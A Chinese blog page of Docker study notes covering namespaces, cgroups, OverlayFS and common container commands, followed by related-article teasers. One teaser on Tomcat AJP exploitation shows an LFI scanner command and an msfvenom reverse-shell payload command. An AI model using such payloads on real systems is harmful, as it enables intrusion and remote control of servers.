当前位置: 首页 > news >正文

docker基本管理和应用

docker是一个开源的应用容器引擎,基于go语言开发的

docker是运行在linux的容器化工具,可以理解为轻量级的虚拟机

可以在任何主机上,轻松创建的一个轻量级,可移植的,自给自足的容器

鲸鱼--------->宿主机

集装箱--------->独立运行的容器,相互隔离的容器。一个容器就是一个独立运行的应用程序。

容器化的特点:

1、灵活,最复杂的程序也可以实现集装箱化

2、轻量级:容器利用和共享主机内核

3、可互换:可以即时部署升级,即时更新

4、便携性:可以在本地构建,可以部署到云,可以在任何地方运行

5、可扩展(依赖于k8s)

容器是在linux上运行,与其他容器共享主机内核以及主机的资源,独立运行,相互隔离的进程(应用程序)

轻量级的,容器运行时占用一定的资源,但是不占用其他任务的资源。

docker和虚拟之间的区别:

doker 虚拟机

启动速度 秒级 分钟级

计算能力损耗 几乎无 损耗50%

性能 接近原生性能 只有80%

系统支持数量 上千个(理论上) 部署也就几十个

隔离性 资源隔离 完全隔离 

安全性 安全性差 安全性高


docker数据流向图:


linux的命令空间*面试题

docker使用内核技术的两个重要的技术:

1、namespace 实现资源隔离

2、cgroup 资源限制

资源隔离:linux有6项隔离

namespace 命名空间:

1、UTS 主机名与域名 通过UTS命名空间创建进程,这个进程可以看到自己的主机名和域名,与宿主机

的其他进程进行分割。

2、IPC 信号量,消息队列,共享内存,进程拥有独立的通信资源,不受其他的进程影响。

kill -9

systemclt stop firewalld

3、PID 进程编号,每个程序在系统中都有一个唯一标识,唯一标识就是pid,使用不同的pid保证进程

之间不发生冲突

4、network 网络设备,网络端口等等

在network空间中,每个进程都有自己的独立的端口号,靠端口号,可以实现网络访问的隔离。

5、mount 挂载点(文件系统),每个进程使用不同的文件系统挂载点,不同的mount的文件系统互不干扰

6、user 用户和用户组,在user空间中,每个进程都有独立的用户和用户组。

每个用户之间可以互相不受影响。


docker的核心概念:

1、镜像:镜像是容器创建的基础,类似虚拟机的快照,通过快照可以快速创建一个容器

在镜像当中,已经封装好了程序运行需要的代码,库,运行时间,环境变量以及配置文件。

2、容器:基于镜像运行起来的进程就是容器。容器之间互相独立,互相隔离

3、仓库:保存镜像的地方。公有仓库(docker hub 阿里云)

私有仓库,不对外提供访问,自己使用。

docker的文件系统:

overlayFS 联合文件系统。用于docker等容器技术之中,

把多个文件系统层叠在一起,形成一个统一的文件系统。

LowerDir:底层目录

包含底层文件系统,容器运行的基础环境的文件系统。根文件系统

UpperDir:可写层

容器可以在底层文件系统的基础之上进行修改,即容器内部发生的写作。

这些修改不影响底层的文件系统。

达到容器内部的可写性

MergerDir:合并目录

把底层目录和可写层以及其他目录组成联合视图。也就是容器使用的文件系统。

Workdir:工作目录

处理文件系统的变更,当容器内部进行写处理时,由workdir进行处理

docker rmi -f IMAGE id号 如果不加-f,镜像被容器使用,切容器正在运行,-f才能删除。

docker save -o /opt/nginx1.18.tar nginx:web

把nginx:web这个镜像导出opt目录,保存到opt/nginx目录下

docker login登录仓库,才能到push

docker images查看当前镜像

容器操作,前提必须要有镜像

docker create -it nginx:web

创建容器

-i 容器和用户之间可以进行交互

-t 开启一个中端,用户可以用交互式会话访问器

拉取镜像----------------创建容器------------------------------修改镜像-----------重启重启>-----------停止容器-----------删除内容---------------------------删除信息

查看所有容器,包括未运行的容器


常用的基本命令总结:

namespace命名空间隔离:6项

network、UTS 主机名与域名、IPC 信号量、PID、mount 挂载点、user

docker pull nginx拉取镜像

docker images显示所有镜像

docker rmi -f nginx:1.22或者IMAGE ID删除指定镜像

docker save -o /opt/nginx1.18.tar nginx:1.22把指定镜像导出opt目录,保存的文件名叫nginx1.18

docker load -i /opt/nginx1.18.tar 导入

docker create -it nginx:1.18 创建容器,it开启终端,让用户可以用交互式会话访问容器,进行操作运行

docker ps -a 查看容器

docker start CONTAINER ID开启容器运行 stop 停止

docker ps 只查看运行起来的容器

docker run 本地没有的镜像会自动拉取,然后再运行

-d后台运行,指定后台运行的命令,这样我们创建之后,即便有-it,也不会进入容器,而是停留在宿主机里

docker run -itd --name test1 centos:7 /bin/bash

docker exec -it test1 /bin/bash 进入容器

docker run -itd --name nginx1 nginx:1.22

docker exec-it nginx1 bash

docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' nginx1进入容器的命名空间,获取ip地址

docker logs -f nginx1 查看容器的日志

docker run -itd --name nginx4 -P nginx:1.22 端口映射,本地端口和容器进行映射 -P随机指定:端口号从32768开始 -p指定端口

docker run -itd --name nginx5 -p 43000:80 nginx:1.22

echo "this is nginx-docker" > index.html

docker cp /opt/index.html nginx7:/usr/share/nginx/html

从宿主机向容器中复制文件

docker cp nginx7:/etc/nginx/nginx.conf /opt/

把容器的文件复制到宿主机

docker export -o /opt/nginx7.tar nginx:1.22

导出容器

相关文章:

docker基本管理和应用

docker是一个开源的应用容器引擎,基于go语言开发的 docker是运行在linux的容器化工具,可以理解为轻量级的虚拟机 可以在任何主机上,轻松创建的一个轻量级,可移植的,自给自足的容器 鲸鱼--------->宿主机 集装箱…...

AI招聘在人才盘活中的作用:开启智慧人力新篇章

一、引言:AI赋能招聘新纪元 在21世纪的今天,随着科技的飞速发展,人工智能(AI)已经渗透到社会经济的各个角落,其中,人力资源管理领域也不例外。AI技术的引入,不仅颠覆了传统的招聘模…...

探索SD NAND配套测试工具:工程师的得力助手

在快速发展的存储技术领域,SD NAND因其高速读写、低功耗和高可靠性而广受青睐。然而,对于工程师来说,验证SD NAND的性能并非易事,为了便于工程师验证,MK 米客方德开发设计了SD NAND配套测试工具。 一、SD NAND转接板简…...

三十六、【人工智能】【机器学习】【监督学习】- Bagging算法模型

系列文章目录 第一章 【机器学习】初识机器学习 第二章 【机器学习】【监督学习】- 逻辑回归算法 (Logistic Regression) 第三章 【机器学习】【监督学习】- 支持向量机 (SVM) 第四章【机器学习】【监督学习】- K-近邻算法 (K-NN) 第五章【机器学习】【监督学习】- 决策树…...

2024年8月8日(python基础)

一、检查并配置python环境(python2内置) 1、检测是否安装 [rootlocalhost ~]# yum list installed| grep python [rootlocalhost ~]# yum -y install epel-release 2、安装python3 [rootlocalhost ~]# yum -y install python3 最新版3.12可以使用源码安…...

SpringAOP_面向切面编程

一、什么是StringAOP AOP(Aspect-Oriented Programming: 面向切面编程):将那些与业务无关, 却为业务模块所共同调用的逻辑(例如事务处理、日志管理、权限控制等)封装抽取成一个可重用的模块,这个模块被命名为“切面”&…...

芯片bring-up的测试用例

文章目录 前言一、测试用例的规划和编写原则1、冒烟测试1)电源时钟复位测试2)寄存器扫描测试3)单一功能冒烟测试 二、遍历测试三、随机测试四、性能测试五、压力测试 总结 前言 最近做了一些用测试用例点亮芯片的工作,从测试用例…...

vs code编辑区域右键菜单突然变短

今天打开vs code发现鼠标在编辑区域按右键,出来的菜单只显示一小段 显示不全,而之前的样子是 显示很多项,怎么设置回到显示很多项呢?...

如何将TRIZ的“最终理想解”应用到机器人电机控制设计中?

TRIZ理论,作为一套系统的创新方法论,旨在帮助设计师和工程师突破思维惯性,解决复杂的技术难题。其核心思想之一便是“最终理想解”,它如同一盏明灯,指引着我们在技术创新的道路上不断前行。最终理想解追求的是产品或技…...

【记录】基于docker部署小熊派BearPi-Pico H3863开发环境

参考:📝 Ubuntu环境下开发环境搭建 | 小熊派BearPi 过程 在物理机中创建一个工作路径 /home/luo/locke/BearPi/BearPi_Pico_H3863创建docker容器 docker run -it \ --privilegedtrue --cap-addALL \ --name BearPi-Pico_H3863_env \ -v /home/luo/lo…...

Elasticsearch 与 OpenSearch:谁才是搜索霸主

Elasticsearch简介 Elasticsearch 是一个开源的、基于 RESTful 接口的分布式搜索和分析引擎,它利用了 Apache Lucene 的强大功能。 它特别适合处理大规模数据,这使得它成为管理和分析日志及事件数据的理想选择。 Elasticsearch 以其即时性而著称&…...

WEB渗透-TomcatAjp之LFIRCE

LFI https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner >python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.0.110 -p 8009 -f pass配合目标文件上传传入服务器 RCE >msfvenom -p java/jsp_shell_reverse_tcp LHOST192.168.0.107 LPORT12138 R >/va…...

嵌入式初学-C语言-二一

数组指针 概念&#xff1a;数组指针是指向数组的指针。 特点&#xff1a; 先有数组&#xff0c;后有指针 它指向的是一个完整的数组。 一维数组指针 数据类型 (*指针变量名)[容量]&#xff1b; 案例&#xff1a; /** * 数组指针&#xff1a;指向数组的指针 */ #include <…...

2376. 统计特殊整数

Powered by:NEFU AB-IN Link 文章目录 2376. 统计特殊整数题意思路代码 2376. 统计特殊整数 题意 如果一个正整数每一个数位都是 互不相同 的&#xff0c;我们称它是 特殊整数 。 给你一个 正 整数 n &#xff0c;请你返回区间 [1, n] 之间特殊整数的数目。 思路 详见灵神…...

Python 绘图进阶之核密度估计图:掌握数据分布的秘密

Python 绘图进阶之核密度估计图&#xff1a;掌握数据分布的秘密 引言 在数据分析中&#xff0c;了解数据的分布情况是至关重要的一步。除了常用的直方图和箱线图&#xff0c;核密度估计图&#xff08;Kernel Density Estimation, KDE&#xff09;提供了一种更为平滑、直观的方…...

设计模式(1)创建型模式和结构型模式

1、目标 本文的主要目标是学习创建型模式和结构型模式&#xff0c;并分别代码实现每种设计模式 2、创建型模式 2.1 单例模式&#xff08;singleton&#xff09; 单例模式是创建一个对象保证只有这个类的唯一实例&#xff0c;单例模式分为饿汉式和懒汉式&#xff0c;饿汉式是…...

RuoYi-Vue新建模块

一、环境准备 附:RuoYi-Vue下载与运行 二、新建模块 在RuoYi-Vue下新建模块ruoyi-test。 三、父pom文件添加子模块 在RuoYi-Vue的pom.xml中,引入子模块。 <dependency><groupId>com.ruoyi</groupId><artifactId>ruoyi-test</artifactId>&…...

Element-UI自学实践

概述 Element-UI 是由饿了么前端团队推出的一款基于 Vue.js 2.0 的桌面端 UI 组件库。它为开发者提供了一套完整、易用、美观的组件解决方案&#xff0c;极大地提升了前端开发的效率和质量。本文为自学实践记录&#xff0c;详细内容见 &#x1f4da; ElementUI官网 1. 基础组…...

ChatGPT如何工作:创作一首诗的过程

疑问 怎样理解 Chat GPT 的工作原理&#xff1f;比如我让他作一首诗&#xff0c;他是如何创作的呢&#xff1f;每一行诗&#xff0c;每一个字都是怎么来的&#xff1f;随机拼凑的还是从哪里借鉴的&#xff1f; 回答 当你让 ChatGPT 创作一首诗时&#xff0c;它并不是简单地随…...

Linux_Shell变量及运算符-05

一、Shell基础 1.1 什么是shell Shell脚本语言是实现Linux/UNIX系统管理及自W动化运维所必备的重要工具&#xff0c; Linux/UNIX系统的底层及基础应用软件的核心大都涉及Shell脚本的内容。Shell是一种编程语言, 它像其它编程语言如: C, Java, Python等一样也有变量/函数/运算…...

被OpenClaw的MCP协议彻底刷新认知:一个协议统一所有AI工具调用的底层逻辑

做AI Agent开发的同学&#xff0c;几乎都踩过工具调用的"天坑"&#xff1a;为了让大模型对接不同的外部能力&#xff0c;你需要为每一个API、每一套业务系统、每一类数据库写专属的适配代码&#xff1b;换一个大模型厂商&#xff0c;之前的工具调用逻辑几乎全部作废&…...

PHP的扩展的生命周期的庖丁解牛

"PHP 扩展 (Extension)"的生命周期&#xff0c;常被误解为“一个 .so 或 .dll 文件被加载进内存”那么简单。 但本质上&#xff0c;它是 C 语言编写的底层模块与 PHP Zend 引擎之间的一次“深度联姻”。 它的生命周期严格绑定在 PHP 进程&#xff08;或 FPM 子进程&a…...

公开信息整理|2026年4月4日:消费复苏、金融调节、教育规范、科技安全与部分国际动态速览

&#x1f525;个人主页&#xff1a;杨利杰YJlio❄️个人专栏&#xff1a;《Sysinternals实战教程》《Windows PowerShell 实战》《WINDOWS教程》《IOS教程》《微信助手》《锤子助手》 《Python》 《Kali Linux》 《那些年未解决的Windows疑难杂症》&#x1f31f; 让复杂的事情更…...

Video2X完全指南:5个简单步骤让模糊视频变高清的AI魔法

Video2X完全指南&#xff1a;5个简单步骤让模糊视频变高清的AI魔法 【免费下载链接】video2x A machine learning-based video super resolution and frame interpolation framework. Est. Hack the Valley II, 2018. 项目地址: https://gitcode.com/GitHub_Trending/vi/vide…...

WarcraftHelper:让经典魔兽争霸3重获现代游戏体验的兼容性增强工具

WarcraftHelper&#xff1a;让经典魔兽争霸3重获现代游戏体验的兼容性增强工具 【免费下载链接】WarcraftHelper Warcraft III Helper , support 1.20e, 1.24e, 1.26a, 1.27a, 1.27b 项目地址: https://gitcode.com/gh_mirrors/wa/WarcraftHelper 魔兽争霸3作为一款经典…...

WEEX 宣布赞助职业赛车手 Carl Moon,开启 2026 赛季全球品牌合作

近日&#xff0c;WEEX 宣布正式与职业赛车手兼内容创作者 Carl Moon 达成合作&#xff0c;成为其 2026 赛季年度品牌赞助商。此次合作将覆盖包括 Ferrari Challenge 与 GT World Challenge Europe 在内的多个欧洲顶级赛事&#xff0c;预计贯穿 3 月至 11 月赛季周期&#xff0c…...

文献自由:ScienceDecrypting破解加密PDF的技术突破与价值重构

文献自由&#xff1a;ScienceDecrypting破解加密PDF的技术突破与价值重构 【免费下载链接】ScienceDecrypting 破解CAJViewer带有效期的文档&#xff0c;支持破解科学文库、标准全文数据库下载的文档。无损破解&#xff0c;保留文字和目录&#xff0c;解除有效期限制。 项目地…...

3个实战场景:如何用RegRipper3.0快速分析Windows注册表

3个实战场景&#xff1a;如何用RegRipper3.0快速分析Windows注册表 【免费下载链接】RegRipper3.0 RegRipper3.0 项目地址: https://gitcode.com/gh_mirrors/re/RegRipper3.0 Windows注册表分析工具RegRipper3.0是数字取证和事件响应领域的利器&#xff0c;它能从Window…...

利用快马平台快速构建Selenium自动化测试框架原型

今天想和大家分享一个用PythonSelenium快速搭建Web自动化测试框架的经验。最近接手了一个需要频繁回归测试的登录模块&#xff0c;手动测试实在太耗时&#xff0c;于是决定用自动化测试来提高效率。在InsCode(快马)平台上尝试后&#xff0c;发现能快速生成可运行的原型&#xf…...

从根源到优化:Visual C++ Redistributable AIO工具的5个技术维度解析

从根源到优化&#xff1a;Visual C Redistributable AIO工具的5个技术维度解析 【免费下载链接】vcredist AIO Repack for latest Microsoft Visual C Redistributable Runtimes 项目地址: https://gitcode.com/gh_mirrors/vc/vcredist 问题溯源&#xff1a;运行库故障的…...